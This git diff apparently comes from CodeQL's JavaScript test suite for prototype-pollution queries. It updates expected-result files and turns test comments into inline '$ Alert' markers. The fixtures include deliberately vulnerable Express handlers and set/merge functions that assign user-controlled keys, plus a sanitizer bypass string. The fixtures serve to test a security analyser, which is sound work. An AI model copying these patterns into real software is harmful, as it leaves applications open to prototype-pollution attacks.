+| tst.js:8:5:8:17 | object[taint] | tst.js:5:24:5:37 | req.query.data | tst.js:8:5:8:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
+| tst.js:9:5:9:17 | object[taint] | tst.js:5:24:5:37 | req.query.data | tst.js:9:5:9:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
+| tst.js:14:5:14:32 | unsafeG ...  taint) | tst.js:5:24:5:37 | req.query.data | tst.js:14:5:14:32 | unsafeG ...  taint) | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
+| tst.js:34:5:34:7 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:34:5:34:7 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
+| tst.js:39:9:39:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:39:9:39:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
+| tst.js:45:9:45:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:45:9:45:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
+| tst.js:48:9:48:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:48:9:48:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
+| tst.js:80:5:80:17 | object[taint] | tst.js:77:24:77:37 | req.query.data | tst.js:80:5:80:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:77:24:77:37 | req.query.data | user controlled input |
+| tst.js:82:5:82:22 | object["" + taint] | tst.js:77:24:77:37 | req.query.data | tst.js:82:5:82:22 | object["" + taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:77:24:77:37 | req.query.data | user controlled input |
+| tst.js:87:9:87:21 | object[taint] | tst.js:77:24:77:37 | req.query.data | tst.js:87:9:87:21 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:77:24:77:37 | req.query.data | user controlled input |
+| tst.js:94:5:94:37 | obj[req ... ', '')] | tst.js:94:9:94:19 | req.query.x | tst.js:94:5:94:37 | obj[req ... ', '')] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:94:9:94:19 | req.query.x | user controlled input |
+| tst.js:97:5:97:46 | obj[req ... g, '')] | tst.js:97:9:97:19 | req.query.x | tst.js:97:5:97:46 | obj[req ... g, '')] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:97:9:97:19 | req.query.x | user controlled input |
+| tst.js:105:5:105:17 | object[taint] | tst.js:102:24:102:37 | req.query.data | tst.js:105:5:105:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:102:24:102:37 | req.query.data | user controlled input |
+| tst.js:130:5:130:53 | obj[req ... ), '')] | tst.js:130:9:130:19 | req.query.x | tst.js:130:5:130:53 | obj[req ... ), '')] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:130:9:130:19 | req.query.x | user controlled input |
 edges
 | lib.js:1:38:1:40 | obj | lib.js:6:7:6:9 | obj | provenance |  |
 | lib.js:1:43:1:46 | path | lib.js:2:21:2:24 | path | provenance |  |
@@ -239,31 +267,3 @@ nodes
 | tst.js:130:9:130:52 | req.que ... '), '') | semmle.label | req.que ... '), '') |
 subpaths
 | tst.js:14:27:14:31 | taint | tst.js:55:29:55:32 | prop | tst.js:56:12:56:33 | obj ? o ...  : null | tst.js:14:5:14:32 | unsafeG ...  taint) |
-#select
-| lib.js:6:7:6:9 | obj | lib.js:1:43:1:46 | path | lib.js:6:7:6:9 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:1:43:1:46 | path | library input |
-| lib.js:15:3:15:14 | obj[path[0]] | lib.js:14:38:14:41 | path | lib.js:15:3:15:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:14:38:14:41 | path | library input |
-| lib.js:22:3:22:14 | obj[path[0]] | lib.js:20:14:20:22 | arguments | lib.js:22:3:22:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:20:14:20:22 | arguments | library input |
-| lib.js:26:10:26:21 | obj[path[0]] | lib.js:25:44:25:47 | path | lib.js:26:10:26:21 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:25:44:25:47 | path | library input |
-| lib.js:34:3:34:14 | obj[path[0]] | lib.js:30:43:30:51 | arguments | lib.js:34:3:34:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:30:43:30:51 | arguments | library input |
-| lib.js:42:3:42:14 | obj[path[0]] | lib.js:38:27:38:35 | arguments | lib.js:42:3:42:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:38:27:38:35 | arguments | library input |
-| lib.js:87:10:87:14 | proto | lib.js:83:14:83:22 | arguments | lib.js:87:10:87:14 | proto | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:83:14:83:22 | arguments | library input |
-| lib.js:108:3:108:10 | obj[one] | lib.js:104:13:104:21 | arguments | lib.js:108:3:108:10 | obj[one] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:104:13:104:21 | arguments | library input |
-| lib.js:119:13:119:24 | obj[path[0]] | lib.js:118:29:118:32 | path | lib.js:119:13:119:24 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:118:29:118:32 | path | library input |
-| lib.js:128:9:128:20 | obj[path[0]] | lib.js:127:14:127:17 | path | lib.js:128:9:128:20 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:127:14:127:17 | path | library input |
-| otherlib/src/otherlibimpl.js:2:3:2:14 | obj[path[0]] | otherlib/src/otherlibimpl.js:1:37:1:40 | path | otherlib/src/otherlibimpl.js:2:3:2:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | otherlib/src/otherlibimpl.js:1:37:1:40 | path | library input |
-| sublib/other.js:6:7:6:18 | obj[path[0]] | sublib/other.js:5:28:5:31 | path | sublib/other.js:6:7:6:18 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | sublib/other.js:5:28:5:31 | path | library input |
-| sublib/sub.js:2:3:2:14 | obj[path[0]] | sublib/sub.js:1:37:1:40 | path | sublib/sub.js:2:3:2:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | sublib/sub.js:1:37:1:40 | path | library input |
-| tst.js:8:5:8:17 | object[taint] | tst.js:5:24:5:37 | req.query.data | tst.js:8:5:8:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
-| tst.js:9:5:9:17 | object[taint] | tst.js:5:24:5:37 | req.query.data | tst.js:9:5:9:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
-| tst.js:14:5:14:32 | unsafeG ...  taint) | tst.js:5:24:5:37 | req.query.data | tst.js:14:5:14:32 | unsafeG ...  taint) | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
-| tst.js:34:5:34:7 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:34:5:34:7 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
-| tst.js:39:9:39:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:39:9:39:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
-| tst.js:45:9:45:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:45:9:45:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
-| tst.js:48:9:48:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:48:9:48:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | user controlled input |
-| tst.js:80:5:80:17 | object[taint] | tst.js:77:24:77:37 | req.query.data | tst.js:80:5:80:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:77:24:77:37 | req.query.data | user controlled input |
-| tst.js:82:5:82:22 | object["" + taint] | tst.js:77:24:77:37 | req.query.data | tst.js:82:5:82:22 | object["" + taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:77:24:77:37 | req.query.data | user controlled input |
-| tst.js:87:9:87:21 | object[taint] | tst.js:77:24:77:37 | req.query.data | tst.js:87:9:87:21 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:77:24:77:37 | req.query.data | user controlled input |
-| tst.js:94:5:94:37 | obj[req ... ', '')] | tst.js:94:9:94:19 | req.query.x | tst.js:94:5:94:37 | obj[req ... ', '')] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:94:9:94:19 | req.query.x | user controlled input |
-| tst.js:97:5:97:46 | obj[req ... g, '')] | tst.js:97:9:97:19 | req.query.x | tst.js:97:5:97:46 | obj[req ... g, '')] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:97:9:97:19 | req.query.x | user controlled input |
-| tst.js:105:5:105:17 | object[taint] | tst.js:102:24:102:37 | req.query.data | tst.js:105:5:105:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:102:24:102:37 | req.query.data | user controlled input |
-| tst.js:130:5:130:53 | obj[req ... ), '')] | tst.js:130:9:130:19 | req.query.x | tst.js:130:5:130:53 | obj[req ... ), '')] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:130:9:130:19 | req.query.x | user controlled input |
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.qlref b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.qlref
index 107951e169e1..3c441784c3b7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.qlref
@@ -1 +1,2 @@
-Security/CWE-915/PrototypePollutingAssignment.ql
\ No newline at end of file
+query: Security/CWE-915/PrototypePollutingAssignment.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/lib.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/lib.js
index fb550533d124..1c0563d679b5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/lib.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/lib.js
@@ -1,9 +1,9 @@
-module.exports.set = function recSet(obj, path, value) {
+module.exports.set = function recSet(obj, path, value) { // $ Source
   var currentPath = path[0];
   var currentValue = obj[currentPath];
   if (path.length === 1) {
     if (currentValue === void 0) {
-      obj[currentPath] = value; // NOT OK
+      obj[currentPath] = value; // $ Alert
     }
     return currentValue;
   }
@@ -11,35 +11,35 @@ module.exports.set = function recSet(obj, path, value) {
   return recSet(obj[currentPath], path.slice(1), value);
 }
 
-module.exports.set2 = function (obj, path, value) {
-  obj[path[0]][path[1]] = value; // NOT OK
+module.exports.set2 = function (obj, path, value) { // $ Source
+  obj[path[0]][path[1]] = value; // $ Alert
 }
 
 module.exports.setWithArgs = function() {
   var obj = arguments[0];
-  var path = arguments[1];
+  var path = arguments[1]; // $ Source
   var value = arguments[2];
-  obj[path[0]][path[1]] = value; // NOT OK
+  obj[path[0]][path[1]] = value; // $ Alert
 }
 
-module.exports.usedInTest = function (obj, path, value) {
-  return obj[path[0]][path[1]] = value; // NOT OK
+module.exports.usedInTest = function (obj, path, value) { // $ Source
+  return obj[path[0]][path[1]] = value; // $ Alert
 }
 
 module.exports.setWithArgs2 = function() {
-  const args = Array.prototype.slice.call(arguments);
+  const args = Array.prototype.slice.call(arguments); // $ Source
   var obj = args[0];
   var path = args[1];
   var value = args[2];
-  obj[path[0]][path[1]] = value; // NOT OK
+  obj[path[0]][path[1]] = value; // $ Alert
 }
 
 module.exports.setWithArgs3 = function() {
-  const args = Array.from(arguments);
+  const args = Array.from(arguments); // $ Source
   var obj = args[0];
   var path = args[1];
   var value = args[2];
-  obj[path[0]][path[1]] = value; // NOT OK
+  obj[path[0]][path[1]] = value; // $ Alert
 }
 
 function id(s) {
@@ -52,7 +52,7 @@ module.exports.notVulnerable = function () {
   const path = id("x");
   const value = id("y");
   const obj = id("z");
-  return (obj[path[0]][path[1]] = value); // OK
+  return (obj[path[0]][path[1]] = value);
 }
 
 class Foo {
@@ -67,12 +67,12 @@ class Foo {
     const obj = this.obj;
     const path = this.path;
     const value = this.value;
-    return (obj[path[0]][path[1]] = value); // NOT OK
+    return (obj[path[0]][path[1]] = value); // $ MISSING: Alert - lacking local field step
   }
 
   safe() {
     const obj = this.obj;
-    obj[path[0]] = this.value; // OK
+    obj[path[0]] = this.value;
   }
 }
 
@@ -80,11 +80,11 @@ module.exports.Foo = Foo;
 
 module.exports.delete = function() {
   var obj = arguments[0];
-  var path = arguments[1];
-  delete obj[path[0]]; // OK
+  var path = arguments[1]; // $ Source
+  delete obj[path[0]];
   var prop = arguments[2];
   var proto = obj[path[0]];
-  delete proto[prop]; // NOT OK
+  delete proto[prop]; // $ Alert
 }
 
 module.exports.fixedProp = function (obj, path, value) {
@@ -101,22 +101,22 @@ function isPossibilityOfPrototypePollution(key) {
 
 module.exports.sanWithFcuntion = function() {
   var obj = arguments[0];
-  var one = arguments[1];
+  var one = arguments[1]; // $ Source
   var two = arguments[2];
   var value = arguments[3];
   
-  obj[one][two] = value; // NOT OK
+  obj[one][two] = value; // $ Alert
 
   if (isPossibilityOfPrototypePollution(one) || isPossibilityOfPrototypePollution(two)) {
     throw new Error('Prototype pollution is not allowed');
   }
-  obj[one][two] = value; // OK
+  obj[one][two] = value;
 }
 
 module.exports.returnsObj = function () {
     return {
-        set: function (obj, path, value) {
-            obj[path[0]][path[1]] = value; // NOT OK
+        set: function (obj, path, value) { // $ Source
+            obj[path[0]][path[1]] = value; // $ Alert
         }
     }
 }
@@ -124,8 +124,8 @@ module.exports.returnsObj = function () {
 class MyClass {
     constructor() {}
 
-    set(obj, path, value) {
-        obj[path[0]][path[1]] = value; // NOT OK
+    set(obj, path, value) { // $ Source
+        obj[path[0]][path[1]] = value; // $ Alert
     }
 
     static staticSet(obj, path, value) {
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/otherlib/src/otherlibimpl.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/otherlib/src/otherlibimpl.js
index d74de12493aa..d1a00cfcc643 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/otherlib/src/otherlibimpl.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/otherlib/src/otherlibimpl.js
@@ -1,3 +1,3 @@
-module.exports.set = function (obj, path, value) {
-  obj[path[0]][path[1]] = value; // NOT OK
+module.exports.set = function (obj, path, value) { // $ Source
+  obj[path[0]][path[1]] = value; // $ Alert
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/other.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/other.js
index 4d3e7a82f5c8..d0b7b4098a26 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/other.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/other.js
@@ -2,8 +2,8 @@
   function Foobar() {}
 
   Foobar.prototype = {
-    method: function (obj, path, value) {
-      obj[path[0]][path[1]] = value; // NOT OK
+    method: function (obj, path, value) { // $ Source
+      obj[path[0]][path[1]] = value; // $ Alert
     },
   };
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/sub.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/sub.js
index 66db628cfcc0..3ee6bef9f4ef 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/sub.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/sublib/sub.js
@@ -1,5 +1,5 @@
-module.exports.set = function (obj, path, value) {
-  obj[path[0]][path[1]] = value; // NOT OK
+module.exports.set = function (obj, path, value) { // $ Source
+  obj[path[0]][path[1]] = value; // $ Alert
 }
 
 var other = require('./other')
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js
index a622a8913905..91fb71941b36 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js
@@ -2,53 +2,53 @@ let express = require('express');
 let app = express();
 
 app.get('/', (req, res) => {
-    let taint = String(req.query.data);
+    let taint = String(req.query.data); // $ Source
 
     let object = {};
-    object[taint][taint] = taint; // NOT OK
-    object[taint].foo = 'bar'; // NOT OK - may pollute, although attacker has no control over data being injected
-    object.baz[taint] = taint; // OK
+    object[taint][taint] = taint; // $ Alert
+    object[taint].foo = 'bar'; // $ Alert - may pollute, although attacker has no control over data being injected
+    object.baz[taint] = taint;
 
     mutateObject(object[taint], 'blah');
 
-    unsafeGetProp(object, taint).foo = 'bar'; // NOT OK
-    unsafeGetProp(object, 'safe').foo = 'bar'; // OK
+    unsafeGetProp(object, taint).foo = 'bar'; // $ Alert
+    unsafeGetProp(object, 'safe').foo = 'bar';
 
-    safeGetProp(object, taint).foo = 'bar'; // OK
+    safeGetProp(object, taint).foo = 'bar';
 
     let possiblyProto = object[taint] || new Box();
     possiblyProto.m();
 
     let prototypeLessObject = Object.create(null);
-    prototypeLessObject[taint][taint] = taint; // OK
+    prototypeLessObject[taint][taint] = taint;
 
     let directlyMutated = {};
     directlyMutated[taint] = taint; // OK - can't affect Object.prototype
 
     if (object.hasOwnProperty(taint)) {
-        object[taint].foo = 'bar'; // OK
+        object[taint].foo = 'bar';
     }
 });
 
 function mutateObject(obj, x) {
-    obj.foo = x; // NOT OK
+    obj.foo = x; // $ Alert
     if (obj instanceof Object) {
-        obj.foo = x; // OK
+        obj.foo = x;
     }
     if (obj != null) {
-        obj.foo = x; // NOT OK
+        obj.foo = x; // $ Alert
     }
     if (typeof obj === 'function') {
-        obj.foo = x; // OK
+        obj.foo = x;
     }
     if (typeof obj !== 'function') {
-        obj.foo = x; // NOT OK
+        obj.foo = x; // $ Alert
     }
     if (typeof obj === 'object') {
-        obj.foo = x; // NOT OK
+        obj.foo = x; // $ Alert
     }
     if (typeof obj !== 'object') {
-        obj.foo = x; // OK
+        obj.foo = x;
     }
 }
 
@@ -74,42 +74,42 @@ class Box {
 
 
 app.get('/', (req, res) => {
-    let taint = String(req.query.data);
+    let taint = String(req.query.data); // $ Source
 
     let object = {};
-    object[taint][taint] = taint; // NOT OK
+    object[taint][taint] = taint; // $ Alert
 
-    object["" + taint]["" + taint] = taint; // NOT OK
+    object["" + taint]["" + taint] = taint; // $ Alert
 
     if (!taint.includes("__proto__")) {
-        object[taint][taint] = taint; // OK
+        object[taint][taint] = taint;
     } else {
-        object[taint][taint] = taint; // NOT OK
+        object[taint][taint] = taint; // $ Alert
     }
 });
 
 app.get('/foo', (req, res) => {
     let obj = {};
-    obj[req.query.x.replace('_', '-')].x = 'foo'; // OK
-    obj[req.query.x.replace('_', '')].x = 'foo'; // NOT OK
-    obj[req.query.x.replace(/_/g, '')].x = 'foo'; // OK
-    obj[req.query.x.replace(/_/g, '-')].x = 'foo'; // OK
-    obj[req.query.x.replace(/__proto__/g, '')].x = 'foo'; // NOT OK - "__pr__proto__oto__"
-    obj[req.query.x.replace('o', '0')].x = 'foo'; // OK
+    obj[req.query.x.replace('_', '-')].x = 'foo';
+    obj[req.query.x.replace('_', '')].x = 'foo'; // $ Alert
+    obj[req.query.x.replace(/_/g, '')].x = 'foo';
+    obj[req.query.x.replace(/_/g, '-')].x = 'foo';
+    obj[req.query.x.replace(/__proto__/g, '')].x = 'foo'; // $ Alert - "__pr__proto__oto__"
+    obj[req.query.x.replace('o', '0')].x = 'foo';
 });
 
 app.get('/bar', (req, res) => {
-    let taint = String(req.query.data);
+    let taint = String(req.query.data); // $ Source
 
     let object = {};
-    object[taint][taint] = taint; // NOT OK
+    object[taint][taint] = taint; // $ Alert
 
     const bad = ["__proto__", "constructor"];
     if (bad.includes(taint)) {
         return;
     }
 
-    object[taint][taint] = taint; // OK
+    object[taint][taint] = taint;
 });
 
 app.get('/assign', (req, res) => {
@@ -126,7 +126,7 @@ app.get('/assign', (req, res) => {
 
 app.get('/foo', (req, res) => {
     let obj = {};
-    obj[req.query.x.replace(new RegExp('_', 'g'), '')].x = 'foo'; // OK
-    obj[req.query.x.replace(new RegExp('_', ''), '')].x = 'foo'; // NOT OK
-    obj[req.query.x.replace(new RegExp('_', unknownFlags()), '')].x = 'foo'; // OK
+    obj[req.query.x.replace(new RegExp('_', 'g'), '')].x = 'foo';
+    obj[req.query.x.replace(new RegExp('_', ''), '')].x = 'foo'; // $ Alert
+    obj[req.query.x.replace(new RegExp('_', unknownFlags()), '')].x = 'foo';
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.expected b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.expected
index bc4a6e4456a8..4546ee4b6aab 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.expected
@@ -1,656 +1,36 @@
-nodes
-| examples/PrototypePollutingFunction.js:1:16:1:18 | dst | semmle.label | dst |
-| examples/PrototypePollutingFunction.js:1:21:1:23 | src | semmle.label | src |
-| examples/PrototypePollutingFunction.js:2:14:2:16 | key | semmle.label | key |
-| examples/PrototypePollutingFunction.js:5:19:5:21 | dst | semmle.label | dst |
-| examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | semmle.label | dst[key] |
-| examples/PrototypePollutingFunction.js:5:23:5:25 | key | semmle.label | key |
-| examples/PrototypePollutingFunction.js:5:29:5:31 | src | semmle.label | src |
-| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | semmle.label | src[key] |
-| examples/PrototypePollutingFunction.js:5:33:5:35 | key | semmle.label | key |
-| examples/PrototypePollutingFunction.js:7:13:7:15 | dst | semmle.label | dst |
-| examples/PrototypePollutingFunction.js:7:17:7:19 | key | semmle.label | key |
-| examples/PrototypePollutingFunction.js:7:24:7:26 | src | semmle.label | src |
-| examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | semmle.label | src[key] |
-| examples/PrototypePollutingFunction.js:7:28:7:30 | key | semmle.label | key |
-| examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | semmle.label | src |
-| examples/PrototypePollutingFunction_fixed2.js:6:29:6:31 | src | semmle.label | src |
-| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | semmle.label | src[key] |
-| examples/PrototypePollutingFunction_fixed2.js:8:24:8:26 | src | semmle.label | src |
-| examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | semmle.label | src[key] |
-| examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | semmle.label | src |
-| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | semmle.label | key |
-| examples/PrototypePollutingFunction_fixed.js:5:29:5:31 | src | semmle.label | src |
-| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | semmle.label | src[key] |
-| examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | semmle.label | key |
-| examples/PrototypePollutingFunction_fixed.js:7:24:7:26 | src | semmle.label | src |
-| examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | semmle.label | src[key] |
-| examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | semmle.label | key |
-| path-assignment.js:8:13:8:25 | key | semmle.label | key |
-| path-assignment.js:8:19:8:25 | keys[i] | semmle.label | keys[i] |
-| path-assignment.js:13:13:13:32 | target | semmle.label | target |
-| path-assignment.js:13:22:13:27 | target | semmle.label | target |
-| path-assignment.js:13:22:13:32 | target[key] | semmle.label | target[key] |
-| path-assignment.js:13:29:13:31 | key | semmle.label | key |
-| path-assignment.js:15:13:15:18 | target | semmle.label | target |
-| path-assignment.js:15:20:15:22 | key | semmle.label | key |
-| path-assignment.js:41:13:41:25 | key | semmle.label | key |
-| path-assignment.js:41:19:41:25 | keys[i] | semmle.label | keys[i] |
-| path-assignment.js:42:9:42:48 | target | semmle.label | target |
-| path-assignment.js:42:18:42:23 | target | semmle.label | target |
-| path-assignment.js:42:25:42:27 | key | semmle.label | key |
-| path-assignment.js:42:32:42:37 | target | semmle.label | target |
-| path-assignment.js:42:32:42:42 | target[key] | semmle.label | target[key] |
-| path-assignment.js:42:32:42:48 | target[key] \|\| {} | semmle.label | target[key] \|\| {} |
-| path-assignment.js:42:39:42:41 | key | semmle.label | key |
-| path-assignment.js:44:5:44:10 | target | semmle.label | target |
-| path-assignment.js:44:12:44:18 | keys[i] | semmle.label | keys[i] |
-| path-assignment.js:58:13:58:25 | key | semmle.label | key |
-| path-assignment.js:58:19:58:25 | keys[i] | semmle.label | keys[i] |
-| path-assignment.js:59:9:59:48 | target | semmle.label | target |
-| path-assignment.js:59:18:59:23 | target | semmle.label | target |
-| path-assignment.js:59:25:59:27 | key | semmle.label | key |
-| path-assignment.js:59:32:59:37 | target | semmle.label | target |
-| path-assignment.js:59:32:59:42 | target[key] | semmle.label | target[key] |
-| path-assignment.js:59:32:59:48 | target[key] \|\| {} | semmle.label | target[key] \|\| {} |
-| path-assignment.js:59:39:59:41 | key | semmle.label | key |
-| path-assignment.js:61:5:61:10 | target | semmle.label | target |
-| path-assignment.js:61:12:61:18 | keys[i] | semmle.label | keys[i] |
-| path-assignment.js:68:13:68:25 | key | semmle.label | key |
-| path-assignment.js:68:19:68:25 | keys[i] | semmle.label | keys[i] |
-| path-assignment.js:69:9:69:48 | target | semmle.label | target |
-| path-assignment.js:69:18:69:23 | target | semmle.label | target |
-| path-assignment.js:69:25:69:27 | key | semmle.label | key |
-| path-assignment.js:69:32:69:37 | target | semmle.label | target |
-| path-assignment.js:69:32:69:42 | target[key] | semmle.label | target[key] |
-| path-assignment.js:69:32:69:48 | target[key] \|\| {} | semmle.label | target[key] \|\| {} |
-| path-assignment.js:69:39:69:41 | key | semmle.label | key |
-| path-assignment.js:71:5:71:10 | target | semmle.label | target |
-| path-assignment.js:71:12:71:18 | keys[i] | semmle.label | keys[i] |
-| tests.js:3:25:3:27 | dst | semmle.label | dst |
-| tests.js:3:30:3:32 | src | semmle.label | src |
-| tests.js:4:14:4:16 | key | semmle.label | key |
-| tests.js:6:28:6:30 | dst | semmle.label | dst |
-| tests.js:6:28:6:35 | dst[key] | semmle.label | dst[key] |
-| tests.js:6:32:6:34 | key | semmle.label | key |
-| tests.js:6:38:6:40 | src | semmle.label | src |
-| tests.js:6:38:6:45 | src[key] | semmle.label | src[key] |
-| tests.js:6:42:6:44 | key | semmle.label | key |
-| tests.js:8:13:8:15 | dst | semmle.label | dst |
-| tests.js:8:17:8:19 | key | semmle.label | key |
-| tests.js:8:24:8:26 | src | semmle.label | src |
-| tests.js:8:24:8:31 | src[key] | semmle.label | src[key] |
-| tests.js:8:28:8:30 | key | semmle.label | key |
-| tests.js:13:24:13:26 | dst | semmle.label | dst |
-| tests.js:13:29:13:31 | src | semmle.label | src |
-| tests.js:14:17:14:19 | src | semmle.label | src |
-| tests.js:14:30:14:32 | key | semmle.label | key |
-| tests.js:16:27:16:29 | dst | semmle.label | dst |
-| tests.js:16:27:16:34 | dst[key] | semmle.label | dst[key] |
-| tests.js:16:31:16:33 | key | semmle.label | key |
-| tests.js:16:37:16:39 | src | semmle.label | src |
-| tests.js:16:37:16:44 | src[key] | semmle.label | src[key] |
-| tests.js:16:41:16:43 | key | semmle.label | key |
-| tests.js:18:13:18:15 | dst | semmle.label | dst |
-| tests.js:18:17:18:19 | key | semmle.label | key |
-| tests.js:18:24:18:26 | src | semmle.label | src |
-| tests.js:18:24:18:31 | src[key] | semmle.label | src[key] |
-| tests.js:18:28:18:30 | key | semmle.label | key |
-| tests.js:23:19:23:21 | dst | semmle.label | dst |
-| tests.js:23:27:23:33 | sources [0] | semmle.label | sources [0] |
